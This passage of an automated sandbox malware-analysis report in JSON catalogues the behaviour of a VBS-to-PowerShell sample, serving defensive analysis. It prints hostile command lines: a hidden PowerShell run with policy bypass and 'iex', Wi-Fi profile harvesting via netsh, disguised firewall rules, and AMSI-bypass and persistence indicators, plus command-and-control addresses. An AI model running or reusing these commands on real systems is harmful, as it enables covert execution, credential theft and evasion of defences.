\"APPENDPATH\")\n \"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$32","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"\"powershell.exe\" called \"CopyFileW\" to copy C:\\GreenRiyadhUraija-PR.vbs to new location %LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" - (UID: 00000000-00004012)\n \"powershell.exe\" called \"CreateProcessA\" with parameter \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\regasm.exe\" - (UID: 00000000-00004040)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"chcp 65001\" - (UID: 00000000-00008164)\n \"cmd.exe\" called \"CreateProcessW\" with parameter \"netsh wlan show profiles\" - (UID: 00000000-00008164)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134212615593455133.4040.DefaultAppDomain.powershell\" - (UID: 00000000-00004040)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$34","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"137.184.88.100:443\"\n \"208.95.112.1:80\"\n \"107.172.135.18:4449\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"CreateProcess\" (Indicator: \"CreateProcess\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp, 00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$35","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; Source: \"00000000-00004040.00000000.152403.73C8A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$38","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$39","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"nnrnngndnnnsnn3nnnnnnnnqnnbnwnntnn@nn.nnnnnnnxntnsnnn\"\n Pattern match: \"n@nnnnnnnen.nsnkn\"\n Pattern match: \"nnnnonnnnennnnnn@ngn.nnnnhnnonnnhnninn\"\n Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134212615593455133.4040.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3b","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"netsh.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 43200000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3c","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 0FF00000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 269C0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 269C0000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 40090000\n \"WScript.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3F850000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 40090000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3F850000\n \"regasm.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 40090000\n \"regasm.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3F850000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 40090000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3F850000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 40090000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 11500000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 43850000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 43850000\n \"regasm.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 43850000\n \"netsh.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 43850000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 43850000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WScript.exe\" called \"Msxml2.DOMDocument.CreateObject\" ... ","origin":"API Call","mitre_attack_id":"T1059","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a00e900000040c75240ff7f0000@ntdll.dll\"\n \"22002300e900000018c75240ff7f0000@ntdll.dll\"\n \"19001a000000000040c75240ff7f0000@ntdll.dll\"\n \"220023000000000018c75240ff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$3e","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3f","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"ip-api.com\"\n \"pwndrop.setupwizarddesk.top\"\n \"www.larmenty.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Reads configuration files (.ini files)","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Documents\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Music\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Pictures\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Downloads\\desktop.ini\"\n \"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\OneDrive\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$40","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"References Windows LDAP client module","description":"Found string \":\\WINDOWS\\System32\\WLDAP32.dll\" (Source: \"00000000-00003624.00000000.153662.4A9C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-987","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)\n Spawned process \"regasm.exe\" (UID: 00000000-00001224)\n Spawned process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service ...\" (UID: 00000000-00004156), Spawned process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service ...\" (UID: 00000000-00003624)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 >nul && netsh wlan show profiles > \"%TEMP%\\\\wifi_p ...\" (UID: 00000000-00008164), Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00004636), Spawned process \"netsh.exe\" with commandline \"netsh wlan show profiles\" (UID: 00000000-00007396)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"-w h -NOP -nonI -EP BYPAss -Command \"iex $env:7Qnw9QqsFYNhx3R\"\" (UID: 00000000-00004040)\n Spawned process \"regasm.exe\" (UID: 00000000-00001224)\n Spawned process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service ...\" (UID: 00000000-00004156), Spawned process \"netsh.exe\" with commandline \"netsh advfirewall firewall add rule name=\"Windows Update Service ...\" (UID: 00000000-00003624)\n Spawned process \"cmd.exe\" with commandline \"/c chcp 65001 >nul && netsh wlan show profiles > \"%TEMP%\\\\wifi_p ...\" (UID: 00000000-00008164), Spawned process \"chcp.com\" with commandline \"chcp 65001\" (UID: 00000000-00004636), Spawned process \"netsh.exe\" with commandline \"netsh wlan show profiles\" (UID: 00000000-00007396)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=E8, O=Let's Encrypt, C=US\" (SHA1: 32:AF:E6:6C:DA:F7:51:C2:46:B5:33:9F:79:EF:4A:49:62:09:65:E1; see report for more information)\n The input sample is signed with a certificate issued by \"CN=ISRG Root X1, O=Internet Security Research Group, C=US\" (SHA1: 54:31:7E:B0:76:5F:0B:C6:74:85:51:84:EB:83:74:B4:19:9E:46:55; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Windows Script Host executes Powershell","description":"Process \"%WINDIR%\\System32\\WScript.exe\" started \"powershell.exe\" (UID: 00000000-00004040)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-321","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_u3rhx0qy.y32.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_xmewtbhb.ifa.psm1\"\n \"netsh.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\wifi_profiles.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Able to establish enduring access through network startup procedures","description":"Found string \"UserInitMprLogonScript\" (Indicator: \"userinitmprlogonscript\"; Source: \"00000000-00004040-00000BC1-1353992064\")","origin":"File/Memory","mitre_attack_id":"T1037.003","relevance":1,"id":"string-716","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000000.152403.26652000.00000002.mdmp, 00000000-00004040.00000000.152403.73C8A000.00000002.mdmp, 00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000001.153030.12058000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExAFnType\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"CustomLoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")\n Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to queue an Asynchronous Procedure Call (APC) in a remote process (API string)","description":"Found reference to API \"NtQueueApcThread\" (Indicator: \"QueueApcThread\"; Source: \"00000000-00004040.00000001.153030.9C6B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.004","relevance":1,"id":"string-255","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"DominicanSymptomInsectsDeclare.vbs\" has type \"Unicode text UTF-16 little-endian text with very long lines (1256) with CRLF line terminators\"- Location: [%LOCALAPPDATA%\\SpermshackBeginnersDinosaursAustraliansOccasions\\DominicanSymptomInsectsDeclare.vbs]- [targetUID: 00000000-00004040]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004040]\n \"wifi_profiles.tmp\" has type \"ASCII text with CRLF line terminators\"- Location: [%TEMP%\\wifi_profiles.tmp]- [targetUID: 00000000-00008164]\n \"DominicanSymptomInsectsDeclare.vbs%3AZone.Identifier\" has type \"ASCII text with CRLF line terminators\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"wifi_profiles.tmp\" has type \"ASCII text with CRLF line terminators\" - Location: [%TEMP%\\wifi_profiles.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$42","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"WScript.exe\" queries basic process information of the \"C:\\Windows\\System32\\wscript.exe\" (UID: 4012)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"69e73f6981fb624b4c0e957d"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$43","origin":"Registry 